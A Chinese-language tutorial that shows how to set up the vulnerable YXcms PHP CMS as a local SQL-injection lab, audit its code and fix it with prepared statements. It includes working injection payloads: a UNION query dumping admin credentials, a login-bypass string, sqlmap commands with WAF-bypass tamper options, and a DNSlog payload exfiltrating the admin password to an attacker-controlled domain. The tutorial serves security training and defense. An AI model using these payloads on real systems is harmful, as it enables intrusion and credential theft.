☰
YXcms SQL注入靶场搭建与源码审计实战
2026/9/28 12:49:43 网站建设 项目流程

简介:YXcms-含有SQL注入漏洞的源码包.zip 面向Web安全学习者、渗透测试初学者与代码审计人员,提供一套可实际复现SQL注入问题的内容管理系统源码,便于在本地环境中研究漏洞成因与利用方式。压缩包为zip格式,整体约13.27MB,包内包含站点入口文件、服务器配置文件、升级日志及upload、public、protected、data等目录,涉及PHP脚本、配置文本与静态资源,可用于分析请求处理流程、数据库查询逻辑与目录权限设置。目前已有901人学习下载,说明该漏洞案例在安全圈内具有一定关注度。读者可借助源码定位不安全的SQL查询位置,理解输入验证缺失带来的风险,并对照配置文件与目录结构梳理攻击面,为漏洞修复与防御加固积累实战经验,适合作为代码审计与安全教学的参考样本。

1. 从一份带洞的 CMS 源码包说起:为什么它值得放进你的本地靶场

如果你手头正好有一份YXcms-含有SQL注入漏洞的源码包.zip,别急着删,也别急着往公网服务器上扔。这东西的正确用法,是把它当成一个本地 SQL 注入实训靶场——一个真实存在过、结构完整、带明确漏洞点的 PHP 内容管理系统。它跟 DVWA、sqlilabs、pikachu 靶场不一样的地方在于:这是一套完整的 CMS 业务代码,有前台、有后台、有上传目录、有配置文件,漏洞藏在真实业务逻辑里,而不是被刻意简化过的教学页面。

你拿到它之后能做的事很具体:在本地把站点跑起来,用 sqlmap 或手工 payload 复现注入,定位到出问题的查询语句,然后自己动手写修复方案。适合三类人——想从“会跑 sqlmap”进阶到“能读源码定位注入点”的安全新手;需要一套真实 CMS 代码做代码审计练习的开发者;以及给团队搭内部安全培训环境的人。下面我从环境搭建一路讲到漏洞定位和修复验证,中间踩过的坑都会标出来。

2. 环境搭建与源码结构:把 YXcms 在本地跑起来

2.1 为什么选 PHP 5.x + MySQL 5.x 这套老环境

YXcms 是典型的国产老牌 PHP CMS,代码风格偏过程化,大量使用mysql_*系列函数或早期mysqli写法,没有 Composer 依赖,也没有现代框架的路由层。这意味着它对 PHP 版本非常敏感——你直接丢到 PHP 8.0 上跑,大概率会看到一堆Deprecated和Fatal error,因为mysql_connect()这类函数在 PHP 7.0 之后已经被移除。

常见做法是用 phpStudy 2016/2018 版本,或者自己用 Docker 拉一个php:5.6-apache镜像,再配 MySQL 5.5/5.6。我一般会选 Docker,因为环境隔离干净,删掉容器不留垃圾。下面是我实际用的docker-compose.yml:

version: '3' services: web: image: php:5.6-apache ports: - "8080:80" volumes: - ./YXcms:/var/www/html depends_on: - db db: image: mysql:5.6 environment: MYSQL_ROOT_PASSWORD: root123 MYSQL_DATABASE: yxcms ports: - "3306:3306"

启动命令就一行:

docker-compose up -d

逻辑说明:web 容器挂载源码目录到 Apache 根目录,db 容器预建yxcms数据库。参数上,MYSQL_ROOT_PASSWORD设成你顺手的值,后面安装向导要填。端口 8080 避免和本机已有服务冲突。

2.2 源码目录里哪些文件跟漏洞直接相关

解压后你会看到.htaccess、httpd.ini、index.php、升级日志.txt、robots.txt,以及upload、public、protected、data几个目录。从代码审计角度,重点盯这几个位置:

文件/目录作用审计关注点
index.php入口文件路由分发逻辑,看参数怎么传入控制器
protected/核心业务代码控制器和模型层,SQL 拼接高发区
data/缓存与配置可能存数据库配置、缓存文件
upload/用户上传文件上传漏洞的常见入口
.htaccessApache 重写规则看是否有防护规则被绕过
升级日志.txt版本记录判断当前版本,对照已知漏洞

安装流程跟普通 CMS 一样:浏览器访问http://localhost:8080,按向导填数据库地址db、库名yxcms、账号root、密码root123。装完后进后台,把缓存清一遍,否则有些页面会读到旧配置。

提示:安装完成后记得把install目录删掉或改名,虽然本地靶场无所谓,但养成习惯没坏处。

3. 定位 SQL 注入点:从请求参数到危险查询

3.1 先理解 YXcms 的注入成因

SQL 注入的本质没变过:用户可控输入被直接拼进 SQL 语句,没有参数化。YXcms 这类老 CMS 的典型写法是这样:

$id = $_GET['id']; $sql = "SELECT * FROM yx_article WHERE id = " . $id; $result = mysql_query($sql);

$id没有经过intval()或mysqli_real_escape_string()处理,直接拼接。攻击者传?id=1 UNION SELECT username,password FROM yx_admin就能把管理员表拖出来。热词里说的“sql注入万能密码绕过”,在这类系统里通常出现在后台登录处——登录查询用字符串拼接,传admin' OR '1'='1就能绕过密码校验。

3.2 用 sqlmap 快速验证,再手工确认

先别急着上 sqlmap,手工测一下更踏实。假设前台文章页 URL 是http://localhost:8080/index.php?r=article/view&id=1,把id改成1',如果页面报 SQL 语法错误,基本就确认了。

然后用 sqlmap 跑:

sqlmap -u "http://localhost:8080/index.php?r=article/view&id=1" --batch --dbs

参数说明:-u指定目标 URL,--batch全程默认选项不交互,--dbs枚举数据库。如果跑出来有结果,说明注入确实存在。想进一步拿表:

sqlmap -u "http://localhost:8080/index.php?r=article/view&id=1" -D yxcms --tables

逻辑上,sqlmap 会先判断注入类型(布尔盲注、时间盲注、联合查询等),再根据类型选择 payload。老系统通常是联合查询或报错注入,因为mysql_error()直接把错误输出到页面。

3.3 读源码确认注入点,别只信工具

工具跑通不代表你理解了漏洞。回到protected/目录,用 grep 搜危险函数:

grep -rn "mysql_query\|mysqli_query\|->query" protected/ | grep -v "intval\|escape"

这条命令会列出所有直接执行查询且没有过滤的代码行。逐行看上下文,找到$_GET、$_POST、$_REQUEST变量进入 SQL 的位置。常见的高危文件包括文章控制器、搜索功能、分页参数处理。我一般会把可疑行号记下来,再构造针对性 payload 验证,这样比盲跑工具靠谱得多。

注意:有些注入点需要登录后才能触发,比如后台的某些管理接口。测试时先拿到一个低权限账号,再逐步提权。

4. 避坑与常见问题:本地复现时最容易翻车的五件事

4.1 页面空白或 500 错误

现象:访问首页一片空白,Apache 日志里报PHP Fatal error: Call to undefined function mysql_connect()。原因:PHP 版本太高,mysql_*函数已被移除。解决:换回 PHP 5.6 环境,或者装mysql扩展的兼容层。Docker 方案直接改镜像标签即可。

4.2 数据库连不上,安装向导卡住

现象:填完数据库信息点下一步,提示“连接数据库失败”。原因:容器间网络不通,或者 MySQL 用户权限没开远程访问。解决:确认docker-compose.yml里 web 和 db 在同一网络;MySQL 5.6 默认 root 只允许 localhost,需要在 db 容器里执行GRANT ALL ON *.* TO 'root'@'%' IDENTIFIED BY 'root123'; FLUSH PRIVILEGES;。

4.3 sqlmap 跑不出结果

现象:手工测有报错,sqlmap 却说“not injectable”。原因:目标有简单的 WAF 或过滤规则,比如.htaccess里拦了union关键字;或者 sqlmap 默认 payload 被转义。解决:加--tamper=space2comment绕过空格过滤,或者--random-agent换 User-Agent。先手工确认注入类型,再用--technique指定,别让工具瞎猜。

4.4 注入点回显被 HTML 转义

现象:联合查询注入时,页面把<、>转义了,看不到数据。原因:输出层用了htmlspecialchars(),但 SQL 执行层没过滤。解决:这种属于盲注场景,改用布尔盲注或时间盲注。sqlmap 加--technique=B或--technique=T,速度会慢但能出数据。

4.5 修复后功能异常

现象:把intval()加上去之后,某些正常请求返回空结果。原因:原代码依赖字符串型参数,比如id传的是abc这种非数字,intval()后变成 0。解决:先确认参数类型,数字型用intval(),字符串型用mysqli_real_escape_string()或预处理语句。别一刀切。

5. 修复验证与进阶:从能跑到能防

5.1 用预处理语句替换拼接查询

找到注入点后,修复方案要落到代码上。以文章查询为例,原始代码:

$id = $_GET['id']; $sql = "SELECT * FROM yx_article WHERE id = " . $id; $result = mysql_query($sql);

改成预处理语句:

$id = intval($_GET['id']); // 数字型参数强制转整 $stmt = $mysqli->prepare("SELECT * FROM yx_article WHERE id = ?"); $stmt->bind_param("i", $id); $stmt->execute(); $result = $stmt->get_result();

逻辑说明:prepare()先把 SQL 模板发给数据库编译,bind_param()再传参数,参数不会被解释为 SQL 代码。"i"表示整型,字符串用"s"。这样即使$id里带 payload,也只会被当成普通值。

5.2 验证修复是否彻底

改完代码后,重新跑一遍之前的 payload:

sqlmap -u "http://localhost:8080/index.php?r=article/view&id=1" --batch --dbs

如果返回“not injectable”,说明这个点堵住了。但别停——用同样的方法把grep出来的其他可疑文件逐个测一遍。我一般会写一个简单的脚本,把源码里所有$_GET、$_POST变量出现的位置列出来,对照检查是否都走了预处理或转义。

5.3 进阶技巧:用 DNSlog 检测无回显注入

有些注入点没有回显,也不报错,布尔盲注又太慢。这时候可以用 DNSlog 外带数据。原理是构造一个 payload,让数据库去请求一个你控制的域名,域名里带上要查的数据。比如:

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM yx_admin LIMIT 1), '.your-dnslog-domain.com\\a'));

数据库执行时会发起 DNS 查询,你在 DNSlog 平台就能看到带密码的域名记录。这个方法在 MySQL 的LOAD_FILE可用、且secure_file_priv没限制时有效。本地靶场里可以自己搭个 DNS 服务器验证,公网环境就别乱试了。

注意:DNSlog 外带依赖数据库的特定函数和权限,不是所有环境都能用。先确认secure_file_priv的值,如果是NULL就直接放弃这条路。

5.4 我自己的习惯

从那以后我每次拿到一份带洞源码,都强制走一遍“手工确认 → 工具验证 → 源码定位 → 修复 → 回归测试”这五步,绝不跳过源码定位直接上工具。因为工具只能告诉你“这里有洞”,但“为什么有洞、怎么改、改完会不会影响业务”只有读代码才知道。这份 YXcms 源码包的价值不在于漏洞本身,而在于它给了你一个完整的、可反复折腾的练习场。希望帮到你。

本文还有配套的精品资源,点击获取

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询